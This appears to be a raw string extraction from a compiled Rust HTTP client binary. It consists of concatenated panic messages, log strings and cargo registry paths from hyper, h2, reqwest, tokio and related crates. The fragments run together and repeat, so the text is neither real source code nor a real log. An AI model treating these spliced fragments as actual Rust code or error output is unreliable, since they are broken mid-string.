FieldSet corrupted (this is a bug)send body user stream error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rssend body eosFlatten polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/future/flatten.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-native-tls-0.3.0/src/lib.rs
|
||||
`async fn` resumed after completionencoding WINDOW_UPDATE; id=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/window_update.rsinvalid GOAWAY frame/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/go_away.rs
|
||||
/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/core/src/ops/function.rsdescription() is deprecated; use Displaycalled `Result::unwrap()` on an `Err` valueinternal error: entered unreachable code: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/path.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rssignal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rsunexpected EOF during chunk size lineInvalid chunk end LFInvalid chunk body CRInvalid chunk body LFChunk size is Invalid chunk size LFincoming chunked header: ( bytes)read_trailerread_size_lwsInvalid chunk size linear white spaceread_extensioninvalid chunk extension contains newlineInvalid trailer end LFChunked read, remaining=Read chunk hex sizeinvalid chunk size: overflowInvalid chunk size line: Invalid Sizedecode; state=end of chunkedclient request body error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rsclient response error: h2 connect response with non-zero body not supportedconnection error: cannot advance past `remaining`: <= /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rscharsetutf-8/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/mime-0.3.16/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/take.rsassertion failed: cnt <= self.limitReady polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/ready.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rsconnection gracefully shutdownconnection task is closed, closing dispatch taskrequest callback is canceledh2 connect request with non-zero body not supportedclient send request error: client::dispatch::Sender dropped*/*trust-dns shouldn't be enabled unless the feature is/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/async_impl/client.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/connect.rsproxy() intercepts 'tunneling HTTPS over proxyno host in url/scheme and authority is valid Uristarting new connection: : HTTP/1.1
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_impl.rsFieldSet corrupted (this is a bug)buffer.queue/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rsbuffer.flatten byteswrite returned zero, but The max_buf_size cannot be smaller than .
|
||||
received parsed max_buf_size () reached, closingparse eof/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/read_buf.rscannot advance past `remaining`: <= /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rsnew_len = ; capacity = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/common/buf.rs
|
||||
Map must not be polled after it returned `Poll::Ready`/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/future/map.rsinternal error: entered unreachable codeassertion failed: slot.is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-channel-0.3.26/src/oneshot.rsassertion failed: dst.remaining_mut() >= len/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/data.rsassertion failed: !stream_id.is_zero()
|
||||
FieldSet corrupted (this is a bug)decremented stream window; id=; decr=; reclaimed=; flow=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rsassertion failed: N::next(&*stream).is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/store.rscalled `Option::unwrap()` on a `None` valueQueue::push -> already queued -> existing entries -> first entrydescription() is deprecated; use Display
|
||||
signal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rsALPN negotiated h2, updating pool/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rsALPN upgraded to HTTP/2client connection error: `async fn` resumed after panicking
|
||||
background connect error: unstarted request canceled, trying again (reason=)CONNECT is not allowed for HTTP/1.0Datastream_idflagspad_lenusize overflow when calculating buffer size/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/base64-0.21.0/src/engine/mod.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/poll_evented.rsReady polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/ready.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rs
|
||||
polling StreamFuture twicecalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/stream/stream/into_future.rsinvalid RST_STREAM frame/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rsinvalid WINDOW_UPDATE frameunexpected flow control stateinternal error: entered unreachable code
|
||||
called `Result::unwrap()` on an `Err` valueinvalid key/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/slab-0.4.7/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rsFieldSet corrupted (this is a bug)HTTP/2 connecting already in progress for reuse idle connection for not droppedrequest has been canceledcheckout waiting for idle connection: assertion failed: Pin::new(&mut rx).poll(cx).is_pending()take? : expiration = interval assumes timeoutput; existing idle HTTP/2 connection for put; add idle connection for value already sentmax idle per host for , dropping connectionpooling idle connection for put; found waiter for put; removing canceled waiter for removing closed connection for removing expired connection for /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/read_buf.rs
|
||||
pool dropped, dropping pooled ()checkout dropped for idle interval checking for expiredpool closed, canceling idle intervalqueue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/inject.rsFailed to communicate runtime creation failure: reqwest::blocking::client/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rs() start runtime::block_on) end runtime::block_on) finishedreqwest::connect::verbose read: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/connect.rsb"\\x\0\t\r\n"http://
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs
|
||||
assertion failed: DEFAULT_MAX_FRAME_SIZE as usize <= val && val <= MAX_MAX_FRAME_SIZE as usize/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rsFieldSet corrupted (this is a bug)received settings ACK; applying /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/settings.rsconnection error PROTOCOL_ERROR -- ;received unexpected settings ackassertion failed: self.remote.is_none()invalid settings frameACK sent; applying settingslocal settings sent; waiting for ack: a Display implementation returned an error unexpectedly/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/string.rsdescription() is deprecated; use Displayinternal error: entered unreachable code: signal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rssend_request dropped, starting conn shutdown/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/dns.rsdns errorconnecting to connect error for : connected to Network unreachabletcp connect errortcp set_nodelay error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/dispatch.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/socket.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/stream.rsassertion failed: self.inner.semaphore.is_idle()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/mpsc/chan.rsJoinHandle polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/core.rsunexpected stage/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_impl.rscannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/chain.rscalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rshttphttps
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/proxy.rsunknown proxy schemehttp://
|
||||
FieldSet corrupted (this is a bug)Got an error, going to errored state/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rsTryFlatten polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/try_future/try_flatten.rsencoding PING; ack= len=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/ping.rssend_reset(..., reason=, initiator=, stream=; is_closed=; pending_send.is_empty= /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/send.rs -> not sending RST_STREAM ( is already reset) -> not sending explicit RST_STREAM ( was closed and send queue was flushed)send_reset -- queueing; frame=send_headers; frame=; init_window=decrementing all windows; dec=recv_stream_window_update !!; err=invalid ping frame/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/ping_pong.rsinvalid pong frameinternal error: entered unreachable codefatal runtime error:
|
||||
thread local panicked on dropUrlschemequerydescription() is deprecated; use Displayhttpshttp/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/uri/scheme.rssignal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rserror writing: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/mod.rsfailed to park thread/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rsErrOkreqwest::Errorurlsourceerror upgrading connectionerror decoding response bodyrequest or response body errorHTTP status client errorHTTP status server error ()error following redirecterror sending requestbuilder error for url (:
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rs
|
||||
Uri should have a scheme/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/proxy.rs<Uri as Dst>::host should have a str
|
||||
FieldSet corrupted (this is a bug)callback receiver has dropped/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rscanceling queued request with connection error: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/lib.rsassertion failed: (*tail).value.is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-channel-0.3.26/src/mpsc/queue.rsassertion failed: (*next).value.is_some()called `Option::unwrap()` on a `None` valueassertion failed: DEFAULT_MAX_FRAME_SIZE as usize <= val && val <= MAX_MAX_FRAME_SIZE as usize/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rsencoding RESET; id= code=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/reset.rsencoding GO_AWAY; code=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/frame/go_away.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/buffer.rsassertion failed: slot.next.is_none()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/client.rs
|
||||
description() is deprecated; use Displayassertion failed: mid <= self.len()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rs
|
||||
signal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs
|
||||
no more write body allowed, user body is_end_stream = discarding empty chunkdispatch no longer receiving messagesread_head error: poll_loop yielding (self = )body receiver dropped before eof, draining or closingbody receiver dropped before eof, closing/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rsconn.ping_pong/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rsclient handshake /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rshandshake complete, spawning background dispatcher task/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rsconnecting to connect error for : connected to Network unreachabletcp connect error/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/read_buf.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/socket.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/stream.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/mpsc/unbounded.rs
|
||||
new_len = ; capacity = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rsPoisonError/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/util/write_all.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/service/oneshot.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rsFailed to communicate client creation failure: reqwest::blocking::client() Receiver is shutdownFailed to communicate successful startup:
|
||||
future polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-native-tls-0.3.0/src/lib.rsbytes remaining on streamassertion failed: !self.context.is_null()called `Option::unwrap()` on a `None` value/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/thread/mod.rsthread name may not contain interior null bytes
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rsheader map at capacityrequested capacity too largeauthority implies host:uri host is valid header value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/io/read_buf.rsfilled overflowfilled must not become larger than initializedfatal runtime error:
|
||||
thread result panicked on dropFieldSet corrupted (this is a bug)/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_read.rs
|
||||
Lazy instance has previously been poisoned/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/once_cell-1.17.0/src/lib.rsa parsed Url should always be a valid Uri/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/into_url.rs
|
||||
queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/queue.rs
|
||||
FieldSet corrupted (this is a bug)Returning None and setting paused/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-util-0.7.4/src/codec/framed_impl.rsattempting to decode a frameframe decoded from bufferGot an error, going to errored stateassertion failed: self.has_capacity()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/codec/framed_write.rsencoded resetencoded window_updateencoded go_awayencoded pingnot implementedchunk not fully encodedassertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize
|
||||
flushing bufferinternal error: entered unreachable codedescription() is deprecated; use Displayinternal error: entered unreachable code: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs
|
||||
signal found waiting giver, notifyingHTTP/2 connection in progress/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/dispatch.rsenvelope not droppedcalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/slab.rspage is unallocatedunexpected pointerassertion failed: idx < self.slots.len() as usize/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/base64-0.21.0/src/encode.rsusize overflow when calculating b64 lengthSendError/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/common/lazy.rsuser code panickedruntime dropped the dispatch taskconnection closedcannot poll Select twice/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/select.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-channel-0.3.26/src/mpsc/mod.rsbuffer space exhausted; sending this messages would overflow the staterequested buffer size too large/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-native-tls-0.3.0/src/lib.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rsFieldSet corrupted (this is a bug): prepare possible HTTP upgrade{role=client}/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rsflushed(): internal error: entered unreachable code: write_body invalid state: maybe_notify; read_from_io blockedmaybe_notify; read_from_io error: maybe_notify; read eofforce_io_read; io error =
|
||||
Conn::read_headincoming body is ignoring expect-continue since body is emptyparse error () with bytesreceived an unexpected received unexpected bytes on an idle connectionfound unexpected EOF on busy connection: found EOF on idle connection, closingbody drainedtry_keep_alive(): could keep-alive, but status = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/socket.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/net/tcp/stream.rsalready borrowed/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/context.rsDomaincannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rscalled `Option::unwrap()` on a `None` valuecannot clone `Sender` -- too many outstanding sendersstream received RST_STREAM: send body chunk: bytes, eos=send stream capacity unexpectedly closedAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/connect.rsproxy() intercepts ''tunneling HTTPS over proxyno host in url: HTTP/1.1
|
||||
base64 is always valid HeaderValue/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/util.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/secure_transport.rsFieldSet corrupted (this is a bug)/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/prioritize.rs
|
||||
poll_completewritinginvalid framereclaimednot reclaiming frame for cancelled streamwasn't expecting a frame to reclaimcalled `Option::unwrap()` on a `None` valuedata framestream capacity is 0sending data frameremoving dangling stream from pending_sendpop_frame; frame=assertion failed: size <= proto::MAX_WINDOW_SIZE/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/client.rsderegistering event source from pollermio::poll/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.5/src/poll.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferformatter error()description() is deprecated; use Displayinternal error: entered unreachable code: signal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/slice.rsconnection was not ready/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rsdispatch dropped without returning errorWriter must be present/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/base64-0.21.0/src/write/encoder.rsbuffer is large enough/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rsCannot write more after calling finish()Upgrade expects h1Attempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/certificate.rsutf-8
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rs
|
||||
there is no such thing as an acquire-release failure orderingthere is no such thing as a release failure orderingcalled `Result::unwrap()` on an `Err` valuesignal found waiting giver, notifying/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/want-0.3.0/src/lib.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/buf/buf_impl.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs
|
||||
`async fn` resumed after completionsend_request dropped, starting conn shutdownconnection keep-alive timed outcalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/dispatch.rssend_when canceledpolled after complete/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/common/exec.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/oneshot.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/util/linked_list.rsInnerstateSenderinneroverflowassertion failed: pos <= self.get_ref().as_ref().len()called after completeid (
|
||||
assertion failed: ret == errSecSuccess/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/secure_transport.rs
|
||||
description() is deprecated; use Display/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/slice.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/collections/vec_deque/mod.rsassertion failed: i < self.len()assertion failed: j < self.len()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/body/body.rs
|
||||
`async fn` resumed after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/body/to_bytes.rsFieldSet corrupted (this is a bug)sized write, len = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/encode.rsencoding chunked B
|
||||
idle interval evicting closed for /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rsidle interval evicting expired for cannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsnew_len = ; capacity = /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes_mut.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/certificate.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/async_impl/response.rs
|
||||
charset/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/body.rstx only taken on error/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rs() park without timeoutreqwest::blocking::wait/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/wait.rswait timeout exceeded) park timeout wait at most
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-tls-0.5.0/src/client.rs
|
||||
`async fn` resumed after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-native-tls-0.3.0/src/lib.rsFieldSet corrupted (this is a bug)recv RST_STREAM/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/connection.rsrecv WINDOW_UPDATErecv GOAWAYrecv PINGreceived unexpected shutdown pingrecv SETTINGSrecv PUSH_PROMISErecv PRIORITYrecv HEADERSrecv DATAcodec closedmutex poisonedConnection::poll; IO errorConnection::poll; connection error -> already going awaystream errorClientconnection closing after flushpending_window_updates -- pop; stream=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/recv.rsinvalid WINDOW_UPDATE frameunexpected flow control stateassertion failed: stream.state.is_closed()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/h2-0.3.15/src/proto/streams/streams.rsrecv_headers; stream=stream error PROTOCOL_ERROR -- ;recv_headers: trailers frame was not EOS; stream=/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/std/src/io/mod.rsfailed to write whole bufferformatter error()Urlschemequerydescription() is deprecated; use Displaycalled `Result::unwrap()` on an `Err` value
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/mpsc/unbounded.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/list.rsFailed to `Enter::block_on`/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/current_thread.rscore missinga spawned task panicked and the runtime is configured to shut down on unhandled panicattempt to calculate the remainder with a divisor of zero/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/url-2.3.1/src/lib.rsReady polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/ready.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rs
|
||||
has_authority means set_username shouldn't fail/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/async_impl/request.rshas_authority means set_password shouldn't fail/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/reqwest-0.11.14/src/blocking/client.rsFailed to communicate client creation failure: reqwest::blocking::client() Receiver is shutdownFailed to communicate successful startup: called `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/mpsc/list.rshttps required but URI was not httpsForceHttpsButUriNotHttps/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/base64-0.21.0/src/engine/general_purpose/mod.rs
|
||||
internal error: entered unreachable code: Impossible remainder/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/base64-0.21.0/src/encode.rs
|
||||
PrefixLenErrorcalled `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/ipnet-2.7.1/src/parser.rsassertion failed: head.len() + tail.len() <= 8
|
||||
*/*/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/mime-0.3.16/src/parse.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/gb18030.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/data.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rsassertion failed: i < self.len
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/data.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/data.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs
|
||||
